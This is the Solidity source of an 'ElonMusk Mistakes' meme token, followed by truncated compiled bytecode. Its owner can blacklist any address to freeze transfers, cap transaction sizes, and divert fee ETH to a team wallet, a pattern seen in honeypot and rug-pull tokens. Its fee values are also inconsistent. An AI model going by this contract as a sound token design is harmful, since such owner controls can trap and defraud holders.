overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ElonMuskMistakes is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ElonMusk Mistakes"; string private constant _symbol = " EMM "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 4; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 5); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4f565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612972565b61045e565b6040516101789190612e34565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff1565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612923565b61048d565b6040516101e09190612e34565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612895565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613066565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ef565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612895565b610783565b6040516102b19190612ff1565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d66565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4f565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612972565b61098d565b60405161035b9190612e34565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ae565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a41565b6110d2565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e7565b61121b565b6040516104189190612ff1565b60405180910390f35b60606040518060400160405280601181526020017f456c6f6e4d75736b204d697374616b6573000000000000000000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611475565b61055b846104a66112a2565b6105568560405180606001604052806028815260200161372a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f31565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f31565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d04565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f31565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f20454d4d20000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f31565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613307565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d72565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f31565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128be565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128be565b6040518363ffffffff1660e01b8152600401610e1f929190612d81565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128be565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd3565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a6a565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff02191690831515021790555068056bc75e2d63100000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107c929190612daa565b602060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612a18565b5050565b6110da6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612f31565b60405180910390fd5b600081116111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612ef1565b60405180910390fd5b6111d960646111cb83683635c9adc5dea0000061206c90919063ffffffff16565b6120e790919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516112109190612ff1565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190612f91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612eb1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190612ff1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612e71565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612f51565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600e60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690612fd1565b60405180910390fd5b5b5b600f5481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600e60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a739190613127565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050600e60159054906101000a900460ff16158015611b2f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600e60169054906101000a900460ff165b15611b6f57611b5581611d72565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e84848484612131565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612e4f565b60405180910390fd5b5060008385611c8b9190613208565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d00573d6000803e3d6000fd5b5050565b6000600654821115611d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4290612e91565b60405180910390fd5b6000611d5561215e565b9050611d6a81846120e790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfe5781602001602082028036833780820191505090505b5090503081600081518110611e3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ede57600080fd5b505afa158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1691906128be565b81600181518110611f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201b95949392919061300c565b600060405180830381600087803b15801561203557600080fd5b505af1158015612049573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207f57600090506120e1565b6000828461208d91906131ae565b905082848261209c919061317d565b146120dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d390612f11565b60405180910390fd5b809150505b92915050565b600061212983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612189565b905092915050565b8061213f5761213e6121ec565b5b61214a84848461221d565b80612158576121576123e8565b5b50505050565b600080600061216b6123fa565b9150915061218281836120e790919063ffffffff16565b9250505090565b600080831182906121d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c79190612e4f565b60405180910390fd5b50600083856121df919061317d565b9050809150509392505050565b600060085414801561220057506000600954145b1561220a5761221b565b600060088190555060006009819055505b565b60008060008060008061222f8761245c565b95509550955095509550955061228d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236e8161256b565b6123788483612628565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d59190612ff1565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612430683635c9adc5dea000006006546120e790919063ffffffff16565b82101561244f57600654683635c9adc5dea00000935093505050612458565b81819350935050505b9091565b60008060008060008060008060006124788a6008546005612662565b925092509250600061248861215e565b9050600080600061249b8e8787876126f8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b600080828461251c9190613127565b905083811015612561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255890612ed1565b60405180910390fd5b8091505092915050565b600061257561215e565b9050600061258c828461206c90919063ffffffff16565b90506125e081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263d826006546124c390919063ffffffff16565b6006819055506126588160075461250d90919063ffffffff16565b6007819055505050565b60008060008061268e6064612680888a61206c90919063ffffffff16565b6120e790919063ffffffff16565b905060006126b860646126aa888b61206c90919063ffffffff16565b6120e790919063ffffffff16565b905060006126e1826126d3858c6124c390919063ffffffff16565b6124c390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612711858961206c90919063ffffffff16565b90506000612728868961206c90919063ffffffff16565b9050600061273f878961206c90919063ffffffff16565b905060006127688261275a85876124c390919063ffffffff16565b6124c390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279461278f846130a6565b613081565b905080838252602082019050828560208602820111156127b357600080fd5b60005b858110156127e357816127c988826127ed565b8452602084019350602083019250506001810190506127b6565b5050509392505050565b6000813590506127fc816136e4565b92915050565b600081519050612811816136e4565b92915050565b600082601f83011261282857600080fd5b8135612838848260208601612781565b91505092915050565b600081359050612850816136fb565b92915050565b600081519050612865816136fb565b92915050565b60008135905061287a81613712565b92915050565b60008151905061288f81613712565b92915050565b6000602082840312156128a757600080fd5b60006128b5848285016127ed565b91505092915050565b6000602082840312156128d057600080fd5b60006128de84828501612802565b91505092915050565b600080604083850312156128fa57600080fd5b6000612908858286016127ed565b9250506020612919858286016127ed565b9150509250929050565b60008060006060848603121561293857600080fd5b6000612946868287016127ed565b9350506020612957868287016127ed565b92505060406129688682870161286b565b9150509250925092565b6000806040838503121561298557600080fd5b6000612993858286016127ed565b92505060206129a48582860161286b565b9150509250929050565b6000602082840312156129c057600080fd5b600082013567ffffffffffffffff8111156129da57600080fd5b6129e684828501612817565b91505092915050565b600060208284031215612a0157600080fd5b6000612a0f84828501612841565b91505092915050565b600060208284031215612a2a57600080fd5b6000612a3884828501612856565b91505092915050565b600060208284031215612a5357600080fd5b6000612a618482850161286b565b91505092915050565b600080600060608486031215612a7f57600080fd5b6000612a8d86828701612880565b9350506020612a9e86828701612880565b9250506040612aaf86828701612880565b9150509250925092565b6000612ac58383612ad1565b60208301905092915050565b612ada8161323c565b82525050565b612ae98161323c565b82525050565b6000612afa826130e2565b612b048185613105565b9350612b0f836130d2565b8060005b83811015612b40578151612b278882612ab9565b9750612b32836130f8565b925050600181019050612b13565b5085935050505092915050565b612b568161324e565b82525050565b612b6581613291565b82525050565b6000612b76826130ed565b612b808185613116565b9350612b908185602086016132a3565b612b99816133dd565b840191505092915050565b6000612bb1602383613116565b9150612bbc826133ee565b604082019050919050565b6000612bd4602a83613116565b9150612bdf8261343d565b604082019050919050565b6000612bf7602283613116565b9150612c028261348c565b604082019050919050565b6000612c1a601b83613116565b9150612c25826134db565b602082019050919050565b6000612c3d601d83613116565b9150612c4882613504565b602082019050919050565b6000612c60602183613116565b9150612c6b8261